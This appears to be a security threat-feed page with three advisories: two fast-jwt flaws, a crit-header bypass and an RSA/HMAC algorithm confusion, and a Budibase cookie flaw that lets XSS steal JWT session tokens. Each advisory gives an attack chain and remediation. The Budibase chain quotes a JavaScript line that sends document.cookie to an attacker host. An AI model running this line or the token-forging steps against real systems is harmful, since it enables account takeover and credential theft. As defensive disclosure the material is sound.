Jwt — CraftedSignal Threat Feed

fast-jwt Library Vulnerability Allows crit Header Validation Bypass

hello@craftedsignal.io — Fri, 03 Apr 2026 22:01:25 +0000

The fast-jwt library, versions 6.1.0 and below, exhibits a critical vulnerability where it does not properly validate the crit (Critical) Header Parameter as defined in RFC 7515. This oversight allows JWS tokens containing unrecognized extensions within the crit array to be accepted instead of being rejected as mandated by the RFC. The vulnerability, identified as CVE-2026-35042, can lead to significant security implications, especially in environments utilizing a mix of JWT verification libraries. This flaw enables attackers to potentially bypass security policies and token binding protections, creating a window for unauthorized access or actions.

Attack Chain

The attacker crafts a JWT with a crit header containing an extension (e.g., “x-custom-policy”) that fast-jwt does not support.
The attacker includes this unsupported extension header (e.g., "x-custom-policy": "require-mfa") in the JWT header.
The attacker signs the JWT using a valid signing key and algorithm (e.g., HS256).
The attacker presents the crafted JWT to a system or application using the vulnerable fast-jwt library for verification.
The fast-jwt library incorrectly accepts the token without validating the crit header extensions.
The application logic proceeds based on the accepted (but invalid) JWT, potentially granting unauthorized access or privileges.
If other JWT libraries are used in the same environment that do properly validate the crit header, a “split-brain” verification scenario can occur, with some systems rejecting the token while others accept it.
The ultimate objective is to bypass intended security policies, such as multi-factor authentication or token binding requirements, gaining unauthorized access or control.

Impact

Successful exploitation of this vulnerability (CVE-2026-35042) can lead to several critical consequences. First, in mixed-library environments, it creates a split-brain verification scenario where different systems interpret the same token differently. Second, it allows attackers to bypass security policies enforced through the crit header, such as mandatory multi-factor authentication. Finally, it can circumvent token binding mechanisms (RFC 7800 cnf confirmation), weakening overall authentication security. The full impact analysis is described in CVE-2025-59420. This vulnerability affects applications using fast-jwt version 6.1.0 and earlier.

Recommendation

Upgrade the fast-jwt library to a version greater than 6.1.0 to remediate CVE-2026-35042.
Deploy the Sigma rule “Detect fast-jwt crit Header Bypass Attempt” to identify attempts to exploit this vulnerability in your environment.
If a mixed-library JWT verification environment exists, evaluate and standardize on a single JWT library that correctly handles the crit header parameter.
Review existing JWT usage to identify instances where the crit header is used for security policy enforcement and ensure that appropriate validation is in place.

fast-jwt Library JWT Algorithm Confusion Vulnerability

hello@craftedsignal.io — Fri, 03 Apr 2026 12:00:00 +0000

The fast-jwt library, a popular Node.js package for handling JSON Web Tokens (JWTs), contains a vulnerability related to algorithm confusion. An incomplete fix for CVE-2023-48223 (GHSA-c2ff-88x2-x9pg) allows attackers to bypass intended security measures by exploiting leading whitespace in the RSA public key. Specifically, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js does not account for leading whitespace, causing RSA public keys to be misclassified as HMAC secrets. This allows attackers to forge HS256 tokens using the RSA public key, leading to unauthorized access and privilege escalation. The vulnerability affects fast-jwt versions <= 6.1.0. This issue is a direct bypass of the fix for CVE-2023-48223.

Attack Chain

The attacker identifies a server using the vulnerable fast-jwt library for JWT verification.
The attacker retrieves the server’s RSA public key, which is often publicly available.
The attacker adds leading whitespace (e.g., a newline character) to the RSA public key.
The attacker crafts a malicious JWT with the header specifying the HS256 algorithm (alg: 'HS256').
The attacker sets the payload of the JWT to contain desired claims, such as admin: true.
The attacker uses the whitespace-prefixed RSA public key as the HMAC secret to sign the JWT.
The attacker presents the forged HS256 token to the vulnerable server.
The server, due to the algorithm confusion vulnerability, incorrectly verifies the token using the RSA public key as an HMAC secret and grants unauthorized access based on the claims in the forged token.

Impact

Successful exploitation of this vulnerability allows attackers to bypass authentication and authorization controls, potentially gaining administrative privileges or access to sensitive data. This could lead to data breaches, system compromise, and reputational damage. The impact is significant due to the widespread use of the fast-jwt library in various applications. This is a direct bypass of the fix for CVE-2023-48223.

Recommendation

Upgrade to a patched version of the fast-jwt library that addresses this vulnerability. This will require updating the fast-jwt package in your package.json file and redeploying your application.
As an immediate mitigation, sanitize RSA public keys by trimming leading whitespace before using them with the fast-jwt library. This can be done using the .trim() method in JavaScript before passing the key to the createVerifier function.
Deploy the Sigma rule that detects HS256 tokens being verified with RSA keys based on process creation logs to identify potential exploitation attempts.
Implement logging and monitoring for JWT verification processes to detect anomalies and suspicious activity. Specifically, monitor for instances where HS256 is used with keys that appear to be RSA public keys.
Review and update any existing security controls related to JWT handling to ensure they are effective against this type of algorithm confusion attack.

Budibase XSS Leads to Account Takeover via JWT Theft

hello@craftedsignal.io — Tue, 02 Jan 2024 12:00:00 +0000

Budibase, a low-code platform, is vulnerable to account takeover due to the insecure configuration of its authentication cookie. The budibase:auth cookie, which stores the JWT session token, is set without the httpOnly flag. This allows JavaScript, including malicious scripts injected via Cross-Site Scripting (XSS) vulnerabilities like GHSA-gp5x-2v54-v2q5, to access the cookie’s contents. An attacker exploiting this can steal the JWT and use it to impersonate the victim, gaining persistent access to their account. Furthermore, the cookie lacks the secure and sameSite attributes, exacerbating the risk. This vulnerability affects all Budibase deployments running versions prior to 3.35.10, as the insecure cookie configuration is hardcoded in the backend.

Attack Chain

Attacker identifies a Budibase instance running a vulnerable version (prior to 3.35.10).
Attacker exploits an existing XSS vulnerability, such as the stored XSS via unsanitized entity names (GHSA-gp5x-2v54-v2q5).
The attacker crafts a malicious JavaScript payload designed to read the budibase:auth cookie using document.cookie.
The injected JavaScript executes within the victim’s browser when they interact with the application (e.g., viewing an entity with a malicious name).
The malicious script retrieves the JWT session token from the budibase:auth cookie.
The script exfiltrates the stolen JWT to an attacker-controlled server, for example, by sending it as a URL parameter in an image request: new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);.
The attacker uses the stolen JWT to authenticate to the Budibase application, bypassing normal login procedures.
The attacker gains persistent access to the victim’s account and can perform actions as the victim, including accessing sensitive data, modifying application configurations, and creating new malicious entities.

Impact

The lack of the httpOnly flag on the budibase:auth cookie transforms every XSS vulnerability in Budibase into a critical account takeover risk. Attackers can persistently compromise user accounts, leading to potential data breaches, unauthorized application modifications, and further propagation of malicious content. This impacts all Budibase deployments running vulnerable versions, potentially affecting a wide range of organizations using the platform for their internal applications and workflows. The vulnerability allows attackers to bypass authentication controls and gain full control over compromised accounts.

Recommendation

Upgrade Budibase to version 3.35.10 or later to address the insecure cookie configuration in packages/backend-core/src/utils/utils.ts.
Deploy the following Sigma rule to detect potential JWT theft attempts via unusual network connections originating from the browser.
Review and remediate all existing XSS vulnerabilities within your Budibase applications, as they can now lead to full account takeover.